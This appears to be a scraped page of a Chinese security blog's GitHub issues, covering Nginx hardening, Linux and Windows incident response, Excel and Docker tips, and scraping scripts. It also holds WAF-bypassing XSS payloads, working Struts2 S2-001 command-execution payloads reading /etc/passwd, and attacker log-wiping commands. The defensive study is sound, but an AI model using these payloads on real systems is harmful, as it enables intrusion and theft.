Code Monkey home page Code Monkey logo

blog's People

Contributors

ai0tsec avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

blog's Issues

Nginx安全配置

隐藏版本号

http {
    server_tokens off;
}

有效避免Nginx版本信息泄露

开启HTTPS

server {
    listen 443;
    server_name example.com;

    ssl on;
    ssl_certificate /etc/nginx/server.crt;
    ssl_certificate_key /etc/nginx/server.key;
    ssl_protocols       TLSv1 TLSv1.1 TLSv1.2;
    ssl_ciphers         HIGH:!aNULL:!MD5;
}

ssl on:开启https
ssl_certificate:配置nginx ssl证书的路径
ssl_certificate_key:配置nginx ssl证书key的路径
ssl_protocols:指定客户端建立连接时使用的ssl协议版本
ssl_ciphers:指定客户端连接时所使用的加密算法

添加黑白名单

白名单配置

location /admin/ {
    allow   192.168.1.0/24;
    deny    all;
}

上边表示只允许192.168.1.0/24网段的主机访问,拒绝其他所有

黑名单配置

location /admin/ {
    deny   192.168.1.0/24;
    allow    all;
}

上边表示拒绝192.168.1.0/24网段的主机访问,允许其他所有

如客户端请求经过代理,可通过$http_x_forwarded_for进行限制

set $allow false;
if ($http_x_forwarded_for = "211.144.204.2") { set $allow true; }
if ($http_x_forwarded_for ~ "108.2.66.[89]") { set $allow true; }
if ($allow = false) { return 404; }

添加账号认证

server {
    location / {
        auth_basic "please input user&passwd";
        auth_basic_user_file key/auth.key;
    }
}

限制请求方法

if ($request_method !~ ^(GET|POST)$ ) {
    return 405;
}

上述配置只允许GET/POST方法访问,其他的method返回405

$request_method能够获取到请求nginx的method

拒绝User-Agent

if ($http_user_agent ~* LWP::Simple|BBBike|wget|curl) {
    return 444;
}

攻击者可能会利用wget/curl等工具进行探测,可通过禁止相应的user-agent来进行防范
Nginx的444状态比较特殊,如果返回444那么客户端将不会收到服务端返回的信息

图片防盗链

location /images/ {
    valid_referers none blocked www.example.com example.com;
    if ($invalid_referer) {
        return  403;
    }
}

valid_referers:验证referer,其中none允许referer为空,blocked允许不带协议的请求,除了以上两类外仅允许referer为www.example.com或example.com时访问images下的图片资源,否则返回403

或将不符合referer规则的请求重定向到一个默认的图片,如下所示:

location /images/ {
    valid_referers blocked www.example.com example.com
    if ($invalid_referer) {
        rewrite ^/images/.*\.(gif|jpg|jpeg|png)$ /static/qrcode.jpg last;
    }
}

控制并发连接数

可以通过ngx_http_limit_conn_module模块限制一个IP的并发连接数

http {
    limit_conn_zone $binary_remote_addr zone=name:10m;

    server {
        listen       80;
        server_name  example.com;

        root /home/project/webapp;
        index index.html;

        location / {
            limit_conn ops 10;
        }

        access_log  /tmp/nginx_access.log  main;
    }
}

limit_conn_zone:设定保存各个键(例如$binary_remote_addr)状态的共享内存空间的参数,zone=空间名字:大小

大小的计算与变量有关,例如$binary_remote_addr变量的大小对于记录IPV4地址是固定的4 bytes,而记录IPV6地址时固定的16 bytes,存储状态在32位平台中占用32或者64 bytes,在64位平台中占用64 bytes。1m的共享内存空间可以保存大约3.2万个32位的状态,1.6万个64位的状态

limit_conn:指定一块已经设定的共享内存空间(例如name为ops的空间),以及每个给定键值的最大连接数

上边的例子表示同一IP同一时间只允许10个连接

当有多个limit_conn指令被配置时,所有的连接数限制都会生效

http {
    limit_conn_zone $binary_remote_addr zone=ops:10m;
    limit_conn_zone $server_name zone=coffee:10m;

    server {
        listen       80;
        server_name  ops-coffee.cn;

        root /home/project/webapp;
        index index.html;

        location / {
            limit_conn ops 10;
            limit_conn coffee 2000;
        }
    }
}

上边的配置不仅会限制单一IP来源的连接数为10,同时也会限制单一虚拟服务器的总连接数为2000

缓冲区溢出攻击

缓冲区溢出攻击是通过将数据写入缓冲区并超出缓冲区边界和重写内存片段来实现的,限制缓冲区大小可有效防御

client_body_buffer_size  1K;
client_header_buffer_size 1k;
client_max_body_size 1k;
large_client_header_buffers 2 1k;

client_body_buffer_size:默认8k或16k,表示客户端请求body占用缓冲区大小。如果连接请求超过缓存区指定的值,那么这些请求实体的整体或部分将尝试写入一个临时文件。

client_header_buffer_size:表示客户端请求头部的缓冲区大小。绝大多数情况下一个请求头不会大于1k,不过如果有来自于wap客户端的较大的cookie它可能会大于 1k,Nginx将分配给它一个更大的缓冲区,这个值可以在large_client_header_buffers里面设置

client_max_body_size:表示客户端请求的最大可接受body大小,它出现在请求头部的Content-Length字段, 如果请求大于指定的值,客户端将收到一个"Request Entity Too Large" (413)错误,通常在上传文件到服务器时会受到限制

large_client_header_buffers表示一些比较大的请求头使用的缓冲区数量和大小,默认一个缓冲区大小为操作系统中分页文件大小,通常是4k或8k,请求字段不能大于一个缓冲区大小,如果客户端发送一个比较大的头,nginx将返回"Request URI too large" (414),请求的头部最长字段不能大于一个缓冲区,否则服务器将返回"Bad request" (400)

超时时间的配置

client_body_timeout   10;
client_header_timeout 10;
keepalive_timeout     5 5;
send_timeout          10;

client_body_timeout:表示读取请求body的超时时间,如果连接超过这个时间而客户端没有任何响应,Nginx将返回"Request time out" (408)错误

client_header_timeout:表示读取客户端请求头的超时时间,如果连接超过这个时间而客户端没有任何响应,Nginx将返回"Request time out" (408)错误

keepalive_timeout:参数的第一个值表示客户端与服务器长连接的超时时间,超过这个时间,服务器将关闭连接,可选的第二个参数参数表示Response头中Keep-Alive: timeout=time的time值,这个值可以使一些浏览器知道什么时候关闭连接,以便服务器不用重复关闭,如果不指定这个参数,nginx不会在应Response头中发送Keep-Alive信息

send_timeout:表示发送给客户端应答后的超时时间,Timeout是指没有进入完整established状态,只完成了两次握手,如果超过这个时间客户端没有任何响应,nginx将关闭连接

Header头设置

通过以下设置可有效防止XSS攻击

add_header X-Frame-Options "SAMEORIGIN";
add_header X-XSS-Protection "1; mode=block";
add_header X-Content-Type-Options "nosniff";

X-Frame-Options:响应头表示是否允许浏览器加载frame等属性,配置项 DENY:禁止任何网页被嵌入、SAMEORIGIN 只允许本网站的嵌套、ALLOW-FROM 允许指定地址的嵌套
X-XSS-Protection:响应头表示启用XSS过滤(禁用过滤为X-XSS-Protection: 0),mode=block表示若检查到XSS攻击则停止渲染页面
X-Content-Type-Options:响应头用来指定浏览器对未指定或错误指定Content-Type资源真正类型的猜测行为,nosniff 表示不允许任何猜测

浏览器一般会根据Content-Type来分辨响应的类型,但当响应类型未指定或错误指定时,浏览会尝试启用MIME-sniffing来猜测资源的响应类型。例如一个图片文件被恶意嵌入了可执行的JS代码,在开启资源类型猜测的情况下,浏览器将执行嵌入的恶意JS代码

Content-Security-Policy:定义页面可以加载哪些资源

add_header Content-Security-Policy "default-src 'self'";

上边的配置会限制所有的外部资源,都只能从当前域名加载,其中default-src定义针对所有类型资源的默认加载策略,self允许来自相同来源的内容

Strict-Transport-Security:提示浏览器用HTTPS协议代替HTTP来访问目标站点

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";

上边的配置表示当用户第一次访问后,会返回一个包含了Strict-Transport-Security响应头的字段,这个字段会告诉浏览器,在接下来的31536000秒内,当前网站的所有请求都使用https协议访问,参数includeSubDomains是可选的,表示所有子域名也将采用同样的规则

https://mp.weixin.qq.com/s?__biz=MzIyMDEzMTA2MQ==&mid=2651150537&idx=1&sn=8660eb3c034e0309bb7620304b906c1b&chksm=8c214353bb56ca45faf95197f7708fa64c392125a1f07408caa5cf11498bbd8906e7d5888dcb&scene=0&xtrack=1&key=c3ccbc6d8c9be9e359ff345cfa2670e7c3187b1905ca8974e6bed58fd9bbb10ff610358ea7d7c19a4013b301ae4fc0159bfca255e525a640845d981f0dc19970ec28d06ce6c67db8c774f18cad27ffd5&ascene=1&uin=MTc1MTAzMjQ0&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=G952uQrw7uOlBpJFWSfTaGZOnNVq%2F7m3UgfcOVeN24w%3D

https://mp.weixin.qq.com/s?__biz=MzA3NTUzNjk1OA==&mid=2651562435&idx=1&sn=83313aa67bc4b60915933399500288a0&scene=21#wechat_redirect

https://mp.weixin.qq.com/s?__biz=MzUyNzUxNTYzNQ==&mid=2247484172&idx=1&sn=d6801b95b6c98333328475c232c3bba7&scene=19#wechat_redirect

SSL Medium Strength Cipher Suites Supported-远程服务支持使用中等强度的SSL密码

漏洞描述:

Nessus检测到SSL Medium Strength Cipher Suites Supported漏洞。中等强度为使用密钥长度至少为64位且小于112位的任何加密,若攻击者位于同一物理网络上,则中等强度加密存在风险。

漏洞修复:

IISCrypto可检查当前服务器内所使用的Cipher(加密方式)

image

运行-regedit-HKey_Local_Machine\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers
当前Ciphers下无任何信息

image

使用IISCrypto选择最佳实践“Best Practices”或根据漏洞扫描报告中指出的SSL Medium Strength Cipher进行去除。应用完成后重启即可,或直接勾选右下角的Reboot进行自动重启

image

漏洞验证:

nmap -sV -p 3389 --script ssl-enum-ciphers TargetIP

该方法支持检测漏洞:
SSL/TLS RC4 信息泄露漏洞(CVE-2013-2566)
SSL/TLS 服务器瞬时 Diffie-Hellman 公共密钥过弱
SSL/TLS 受诫礼(BAR-MITZVAH)攻击漏洞(CVE-2015-2808)
SSL/TLS协议信息泄露漏洞(CVE-2016-2183)

漏洞修复加固前:least strength: C
漏洞修复加固后:least strength: A

image

EXCEL

批量提取超链接地址

Alt+F11,进入宏界面

Sub test()
For Each cell In Range("A1:A100")
cell.Offset(0, 1) = cell.Hyperlinks(1).Address
Next
End Sub

A1:A100为单元格区域

F5运行宏,在对应的右边一格出现超链接地址

VLOOKUP 函数

语法:
VLOOKUP (lookup_value, table_array, col_index_num, [range_lookup])
VLOOKUP (查阅值、包含查阅值的区域、包含返回值的区域中的列号、近似匹配 (TRUE) 或完全匹配 (FALSE))

Tip:要固定某参数值不变,应在参数值前加$

数据透析表

在合并单元格中自动填充序号

点击需输入序号的第一个单元格,输入=MAX(
image

点击需输入序号的第一个单元格的上一个单元格(一般为序号列列名),该单元格名称自动输入至编辑栏中
image

在公式后再输入:后会自动在:后又输入一个相同的单元格名称
image

选中在冒号前的单元格的字母和数字,按键盘的 F4 键,则Excel会自动输入“$”符号,将其变成绝对引用
image

在函数结尾再输入一个)+1,按键盘Ctrl+Enter
image
image

若此时直接拖动,则会弹出“若要执行此操作,所有合并单元格需相同大小”的提示
image

应先行选择自动填充序号范围后,点击编辑栏使光标闪动,键盘输入Ctrl+Enter
image
image

自动填充序号成功
image

合并单元格相同内容

表格如下,相同IP的不同端口处于同一列的多个单元格中

image

新建辅助列,输入公式=IF(A2=A3,B2&","&C3,B2)

image

下拉单元格
image

右键复制并粘贴为”数值“格式

image
image

删除重复值
image
image

查看结果
image

Linux应急响应指南

一、排查思路

什么时间?什么现象?确认事件是否属实?LINUX发行版?命令是否被替换?系统命令完整性检测?做过什么处理?当前状态?受影响主机范围?该现象可能产生的原因?可能留下的痕迹?是否部署安全设备/产品?有无相关记录?网络环境架构?是否提供账号密码可登陆受影响主机?是否存在过某些漏洞/弱口令/数据库/中间件/高危端口?

二、排查项目

1. 账户

1.1 异常账户

cat /etc/passwd
cat /etc/shadow

注意文件修改时间,UID和GID为0的账户:grep "0" /etc/passwd

image

1.2 特权用户

awk -F: '$3==0 {print $1}' /etc/passwd

1.3 ROOT/SUDO SU权限用户

image

1.4 远程登陆用户

awk '/\$1|\$6/{print $1}' /etc/shadow

1.5 空口令帐户

awk -F: 'length($2)==0 {print $1}' /etc/shadow

本地登陆:tty、远程登录:pts

  • 查看当前登录用户的信息:who
  • 查看当前已登录用户列表、系统信息、执行命令:w
  • 查看当前用户数、登录时长、负载信息:uptime
  • 查看与当前有效用户ID关联的用户名:whoami
  • 查看所有用户最后一次登录的时间:lastlog
  • 查看所有用户的登录注销信息及系统的启动、重启及关机事件:last
  • 查看用户错误的登录列表:lastb

image
image

2. 端口/进程/网络连接

2.1 查看端口及网络连接情况

netstat -anltp | grep "pid/port/string"

image

2.2 查看异常进程

ps aux | grep "PID"
ps -ef | grep "PID"

image

top

image

top -> M
M – 以内存占用率大小的顺序排列进程列表
top -> N
N – 以 PID 的大小的顺序排列表示进程列表
top -> P
P – 以 CPU 占用率大小的顺序排列进程列表

top -> h

image

top -> f

image

2.3 查看下PID所对应的进程文件路径

ls -la /proc/PID/exe
file /proc/PID/exe

image

2.4 查看隐藏进程

ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2

2.5 查看进程打开的文件

lsof -p PID

image

列出全部进程打开的文件:lsof

2.6 跟踪异常进程运行情况

strace -tt -T -e trace=all -p PID

2.7 终止异常进程

kill -9 PID/ProcessName

image

3. 历史命令

输出:history
清除:history -c

history -c无法清除保存在文件.bash_history中的记录,rm -rf .bash_history可彻底删除保存的历史纪录

HISTFILESIZE的值决定.bash_history文件可保存记录总数
HISTSIZE的值决定history命令输出/显示记录总数

image

4. 服务、启动项

查看系统服务:

service --status-all
ps aux
netstat -anlp
cd /etc/init.d
ls -alt

image

yum install ntsysv
ntsysv

*表示开机自启

image

chkconfig --list

image

查看运行级别命令:runlevel

运行级别 Name(含义) Description(描述)
0 Halt(关机) Shuts down the system(关闭系统)
1 Single-user mode(单用户模式) Mode for administrative tasks(管理模式,类比Windows安全模式)
2 Multi-user mode(多用户模式) Does not configure network interfaces and does not export networks services(未配置网络接口且不提供网络服务)
3 Multi-user mode with networking(存在网络连接的多用户模式) Starts the system normally(正常启动系统)
4 Not used/user-definable(不可用/用户可定义) For special purposes(用于特殊需求/目的)
5 Start the system normally with appropriate display manager (with GUI)(具有图形界面且存在网络连接的多用户模式) Same as runlevel 3 + display manager(运行级别3+图形界面)
6 Reboot(重启) Reboots the system(重新启动操作系统)

开机启动配置文件:

/etc/rc.local
/etc/rc.d/rc.local
/etc/rc.d/rc[0~6].d

image

查看开机启动项:
chkconfig --list | grep "3:on\|5:on"

5. 计划任务

crontab -u root -l
cat /etc/crontab
ls /etc/cron.*

image
image

6. 异常文件、目录

查看/tmp/目录文件、中是否异常

ls –alt /tmp/

查找cron文件中是否存在恶意脚本

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

查找某段时间内被修改/访问的系统文件

更改:find /etc/ /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime 0
访问:find /tmp -iname "*" -atime 1 -type f

-type [参数]
f 普通文件
l 符号连接
d 目录
c 字符设备
b 块设备
s 套接字
p Fifo

modify time -mtime [值]:修改文件内容,mtime/ctime/atime变更;
change time -ctime [值]:修改文件属性/权限,ctime/atime变更;
access time -atime [值]:命令/应用程序读取/访问文件,atime变更
-mtime 0:返回24小时内修改过的文件
-mtime 1:返回48-24小时内修改过的文件
-mtime 2:返回72-48小时内修改过的文件

stat 可显示文件的状态信息

image
image

查看是否有命令文件被替换

按时间进行排序,结合RPM。

ls -alt /usr/bin /usr/sbin /bin /usr/local/bin
rpm -Va > rpm.log

查看文件属性是否改变

lsattr命令用于显示文件属性
chattr命令用于改变文件属性

查看某个文件属性:lsattr 目录/文件

用chattr命令防止系统中某个关键文件被修改:chattr +i 目录/文件,此时命令操作该文件所得结果提示为Operation not permitted,VIM编辑该文件时会提示W10: Warning: Changing a readonly file错误。要想修改此文件就要把i属性去掉:chattr -i 目录/文件

设置某个文件只能往里面追加数据,但不能删除,适用于各种日志文件:chattr +a 目录/文件

6. 漏洞

弱口令、未授权访问漏洞、Web漏洞、系统漏洞

7. 日志

日志 说明
/var/log/syslog /var/log/messages 显示有关系统的常规消息和信息
/var/log/auth.log /var/log/secure 保留成功或失败登录以及身份验证过程的身份验证日志
/var/log/boot.log 启动消息和启动信息
/var/log/maillog var/log/mail.log 用于邮件服务器日志,方便用于服务器上运行的postfix,smtpd或电子邮件相关服务信息
/var/log/kern 保留内核日志和警告信息
/var/log/dmesg 设备驱动程序消息的存储库
/var/log/faillog 记录失败登录信息
/var/log/cron 记录计划任务相关的信息
/var/log/daemon.log 跟踪正在运行的后台服务
/var/log/btmp 记录所有失败的登录尝试
/var/log/utmp 用户的当前登录状态
/var/log/wtmp 每次登录/注销的记录
/var/log/lastlog 保存每个用户的上次登录信息
/var/log/yum.log 保存使用yum命令的任何软件包安装的数据
/var/log/httpd/ 包含Apache httpd守护程序的error_log和access_log文件的目录
/var/log/mysqld.log /var/log/mysql.log 记录每个调试失败和成功消息的MySQL日志文件,包括启动,停止和重新启动MySQL守护程序mysqld
/var/log/pureftp.log 使用pureftp进程监视FTP连接,包含FTP登录和身份验证失败的数据
/var/log/spooler 通常不包含任何内容,除了来自USENET的罕见消息
/var/log/xferlog 保持FTP文件传输会话,包括文件名和用户启动的FTP传输等信息
  • 查看登录成功的日期、用户名及IP:grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
  • 查看试图爆破主机的IP:
    开启iptables:grep "refused" /var/log/secure* | awk {'print $9'} | sort | uniq -c |sort -nr | more
    未开启iptables:grep "Failed password" /var/log/secure* | grep -E -o "(([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3}))" | uniq -c
  • 查看爆破主机的ROOT账号的IP:grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort
  • 查看爆破用户名字典:grep "Failed password" /var/log/secure | awk {'print $9'} | sort | uniq -c | sort -nr

攻击者清除痕迹:

rm -rf /root/.bash_history
echo > /var/log/日志

三、安全工具

1. Rootkit查杀

Chkrootkit

下载:wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz

image

解压:tar zxvf chkrootkit.tar.gz

编译:

Centos编译环境:yum install gcc gcc-c++ make glibc-static

cd chkrootkit-版本
make sense

image

将编译好的文件移动至根目录下:

mv /root/chkrootkit-版本 /

执行:

若存在INFECTED提示,则说明存在Rootkit。

./chkrootkit | grep "INFECTED" > scanresult.txt

chkrootkit扫描过程使用部分系统命令,若服务器被入侵后,恶意攻击者修改系统命令,则chkrootkit扫描结果不可信。

Rootkit Hunter

下载:wget https://sourceforge.net/projects/rkhunter/files/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz
解压:tar -zxvf rkhunter-1.4.6.tar.gz
安装:

cd rkhunter-1.4.6
./installer.sh --install

image

运行:rkhunter -c --rwo
扫描结果:

cat /var/log/rkhunter.log
rkhunter -c --rwo > scanresult.txt

image

2. 病毒查杀

Clamav

方法一

下载:wget http://www.clamav.net/downloads/production/clamav-0.101.2.tar.gz
解压:tar -zxvf clamav-0.101.2.tar.gz
安装:

cd clamav-0.101.2
./configure
make
make check
make install

运行:

cd clamscan
clamscan -h

方法二

下载安装:yum install -y clamav
病毒库攻击:freshclam
使用:clamscan -h

Clamav文档:https://www.clamav.net/documentation

Webshell查杀

CloudWalker

下载:https://github.com/chaitin/cloudwalker/releases
添加可执行权限:chmod +x webshell-detector-1.0.0-linux-amd64
使用:./webshell-detector-1.0.0-linux-amd64 /path/to/your-web-root/ /var/www/html /path/to/some-file
输出:./webshell-detector-1.0.0-linux-amd64 -html -output result.html /path/to/web-root/

SangforWebshell

下载:wget https://edr.sangfor.com.cn/api/download/WebShellKillerForLinux.tar.gz
解压:tar -zxvf WebShellKillerForLinux.tar.gz

image

添加可执行权限:chmod +x ./wscan

image

河马Webshell

下载:wget -O hm-linux.tgz http://down.shellpub.com/hm/latest/hm-linux-amd64.tgz

Linux系统32位/64位确认:arch、uname -r、uname -m、uname -a

image

image

解压:

ls
tar xvf hm-linux.tgz

使用:

./hm -h
./hm version
./hm version
./hm scan /your-web-root

image

3. 系统完整性/RPM check检查

RPM

用法:

rpm --usage
rpm --help
rpm -?

image

使用:
rpm -Va > rpm.log

单个.表示测试通过,单个?表示无法执行测试
http://ftp.rpm.org/max-rpm/rpm.8.html

image

输出格式:8个字符

  • S file Size differs
  • M Mode differs (includes permissions and file type)
  • 5 MD5 sum differs
  • D Device major/minor number mismatch
  • L readLink path mismatch
  • U User ownership differs
  • G Group ownership differs
  • T mTime differs

属性标记:

  • c %config configuration file
  • d %doc documentation file
  • g %ghost file
  • l %license license file
  • r %readme readme file

4. 恶意流量

Maltrail

5. 自动化检测/安全检查脚本/基线检查脚本

GScansecurity_checklinux安全检查LynisLinEnumosquery

五、参考链接

https://bypass007.github.io/Emergency-Response-Notes/

玄武盾XSS绕过

玄武盾版本未知,为实际渗透测试项目记录沉淀

1.正常访问该站点

image

2.尝试进行XSS测试被玄武盾拦截

image

3.经多次测试,初步判断其对alert进行过滤

payload:<svg xmlns="http:www.baidu.com"><g onload="javascript:alert(1)"></g></svg>

image

4.绕过方式

payload:<audio src="http://www.w3schools.com/html5/movie.ogg" onloadstart=confirm(1);>

image

payload:<details open ontoggle=confirm(1)><details open ontoggle=prompt(1)>

image

payload:<SVg xmlns="http://www.baidu.com"><img src=1 ondblclick=prompt(1)></svg><SVg xmlns="http://www.baidu.com"><img src=1 ondblclick=confirm(1)></svg>

image

payload:<svg/onload=alert1>

image

无括号与分号的XSS

ReDos可尝试绕过

spider

Requests库

京东

import requests
url = "https://item.jd.com/100005603522.html"
try:
	r = requests.get(url)
	r.raise_for_status()
	r.encoding = r.apparent_encoding
	print(r.text[:1000])
except:
	print("爬取失败")

亚马逊

import requests
url = "https://www.amazon.cn/gp/product/B01M8L5Z3Y"
try:
	kv = {'user-agent':'Mozilla/5.0'}
	r = requests.get(url,headers=kv)
	r.raise_for_status()
	r.encoding = r.apparent_encoding
	print(r.text[1000:2000])
except:
	print("爬取失败")

百度

import requests
url = "http://www.baidu.com/s"
keyword = "Python"
try:
	kv = {'wd':keyword}
	r = requests.get(url,params=kv)
	print(r.request.url)
	r.raise_for_status()
	print(len(r.text))
except:
	print("爬取失败")

360

import requests
url = "https://www.so.com/s"
keyword = "python"
try:
	kv = {'q':keyword}
	r = requests.get(url,params=kv)
	print(r.request.url)
	r.raise_for_status()
	print(len(r.text))
except:
	print("爬取失败")

图片爬取

import requests
import os
url = "http://image.ngchina.com.cn/userpic/99679/2019/0615113404996793383.jpeg"
root = "D://pics//"
path = root + url.split('/')[-1]
try:
	if not os.path.exists(root):
		os.mkdir(root)
	if not os.path.exists(path):
		r = requests.get(url)
		with open(path,'wb') as f :
			f.write(r.content)
			f.close()
			print("文件保存成功")
	else:
		print("文件已存在")
except:
	print("爬取失败")

IP地址归属地

import requests
url = "http://m.ip138.com/ip.asp?ip="
try:
	r = requests.get(url + "202.204.80.112")
	r.raise_for_status()
	r.encoding = r.apparent_encoding
	print(r.text[-500:])
except:
	print("爬取失败")

参考

https://www.cnblogs.com/zhaof/tag/%E7%88%AC%E8%99%AB/

点击劫持:缺少X-Frame-Options标头

漏洞描述/危害

X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在可否在 <frame>, <iframe>, <embed> 或者 <object> 中展现的标记。网站可以使用此功能,来确保自己网站的内容没有被嵌到别人的网站中去,也从而避免了点击劫持 (clickjacking) 的攻击。服务器没有返回 X-Frame-Options 标头,这意味着该网站可能面临点击劫持攻击的风险。

使用 X-Frame-Options

X-Frame-Options 有三个值:
DENY 表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
SAMEORIGIN 表示该页面可以在相同域名页面的 frame 中展示。
ALLOW-FROM uri 表示该页面可以在指定来源的 frame 中展示。

换言之,如果设置为 DENY,不光在别人的网站 frame 嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为 SAMEORIGIN,那么页面就可以在同域名页面的 frame 中嵌套。

修复建议/方式

配置 Apache

配置 Apache 在所有页面上发送 X-Frame-Options 响应头,需要把下面这行添加到 'site' 的配置中:
Header always append X-Frame-Options SAMEORIGIN

配置 nginx

配置 nginx 发送 X-Frame-Options 响应头,把下面这行添加到 'http', 'server' 或者 'location' 的配置中:
add_header X-Frame-Options SAMEORIGIN;

配置 IIS

配置 IIS 发送 X-Frame-Options 响应头,添加下面的配置到 Web.config 文件中:

<system.webServer>
  ...

  <httpProtocol>
    <customHeaders>
      <add name="X-Frame-Options" value="SAMEORIGIN" />
    </customHeaders>
  </httpProtocol>

  ...
</system.webServer>

Docker

查看所有镜像
$ docker images
查看所有创建的容器
$ docker ps -a
查看正在运行的容器
$ docker ps
进入正在运行的容器
$ docker exec -it <容器的 CONTAINER ID 或者 容器 NAMES > /bin/bash
开始 停止 重启 容器

$ docker start <容器的 CONTAINER ID 或者 容器 NAMES >
$ docker stop <容器的 CONTAINER ID 或者 容器 NAMES >
$ docker restart <容器的 CONTAINER ID 或者 容器 NAMES >

查看容器 log
$ docker logs -f <容器的 CONTAINER ID 或者 容器 NAMES >
删除容器
$ docker rm <容器的 CONTAINER ID 或者 容器 NAMES >
删除镜像
$ docker rmi <镜像的 CONTAINER ID>
更新镜像
$ docker pull <镜像地址:版本>
建立镜像
docker build -t="name/tag" /file/path

-t 标记来添加 tag,指定新的镜像的用户信息,/file/path是Dockerfile所在的路径

SDL/DevSecOps

https://www.microsoft.com/en-us/securityengineering/sdl
https://www.microsoft.com/en-us/securityengineering/devsecops

SDL流程图
过程图示
image
image

安全产品/服务
RASP(软件运行时安全)、黑盒扫描(DAST:动态应用安全测试)、灰盒扫描(IAST:交互式应用安全测试)、白盒扫描(SAST:静态应用安全测试+SCA:软件成分分析/供应链安全)、威胁建模,以及全流程的开发安全培训

IAST 接入模式:
代理模式、流量镜像模式、插桩模式、日志平台模式、VPN、流量信使
SAST 部署模式:
IDE插件、代码仓库集成

https://blog.csdn.net/qq_29277155/article/details/92411079

Struts2

S2-001 远程代码执行漏洞

原理

参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

环境

Vulhub/Vulhub_GitHub
VulApps/VulApps_GitHub

POC && EXP

获取tomcat执行路径:

%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}

获取Web路径:

%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

执行任意命令:

命令+参数:new java.lang.String[]{"cat","/etc/passwd"}

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image
image
image

struts2检测工具

https://github.com/Lucifer1993/struts-scan

Windows应急响应指南

安全事件分类

Web入侵:网站挂马、网页篡改、Webshell
系统入侵:主机漏洞、蓝屏/重启、网络协议/服务 弱口令/未授权访问
僵尸网络:远控、后门、木马、勒索软件、挖矿病毒、蠕虫
信息泄漏:脱裤
网络攻击:DDoS、DoS、ARP、DNS劫持

排查思路

什么时间?什么现象?做过什么处理?当前状态?受影响主机范围?该现象可能产生的原因?可能留下的痕迹?是否部署安全设备/产品?有无相关记录?网络环境架构?是否提供账号密码可登陆受影响主机?是否存在过某些漏洞/弱口令/数据库/中间件/高危端口?

排查项目

账户

异常账户

  1. 打开 cmd 窗口,输入lusrmgr.msc命令,查看是否有新增的账号,如发现存在非系统及用户所创建异常账户,立即禁用或删除。
  2. 使用net user列出当前登录账号
  3. 使用wmic UserAccount get列出当前系统所有账户

隐藏账户

  1. 在桌面打开运行Win + R,输入 regedit,即可打开注册表编辑器;
  2. 选择 HKEY_LOCAL_MACHINE/SAM/SAM,默认无法查看该选项内容,右键菜单选择权限,打开权限管理窗口;
  3. 选择当前用户(一般为 administrator),将权限勾选为完全控制,然后确定,关闭注册表编辑器;
  4. 再次打开注册表编辑器,即可选择 HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users
  5. 在 Names 项下可以看到实例所有用户名,如出现本地账户中没有的账户,即为隐藏账户,在确认为非系统用户的前提下,可删除此用户。

克隆账户

  1. 以管理员权限运行
    image
  2. 查看是否存在克隆账户
    image
  3. 非管理员权限用户运行
    image

漏洞

弱口令

未授权访问漏洞

系统漏洞

应用程序组件漏洞

端口、进程

netstat命令参数详解,常用命令:netstat -anonetstat -anobnetstat -ano | find/findstr "PID/PORT/连接状态"
网络连接状态
tasklist命令参数详解,常用命令:tasklist /SVCtasklist /Vtasklist /SVC | find/findstr "PID"
image
wmic常用命令:wmic processwmic process where name=" processname" list full
image
检查方法

  1. 通过netstat -ano | findstr "ESTABLISHED"查看当前网络连接状态,定位异常
  2. 根据netstat 定位出的pid,再通过tasklist /svc | findstr "PID"进行进程定位
  3. 查看进程对应的程序位置wmic process where name="processname" list full

image

  1. ctrl+alt+delete打开任务管理器,或点击【开始】>【运行】,输入msinfo32,软件环境,正在运行程序,查看进程详细信息
  2. 借助Process Explorer、D盾、TCPView等工具排查可疑进程/子进程:没有签名验证信息的进程、没有描述信息的进程、进程的属主、进程的路径是否合法、CPU或内存资源占用长时间过高的进程

目录及文件

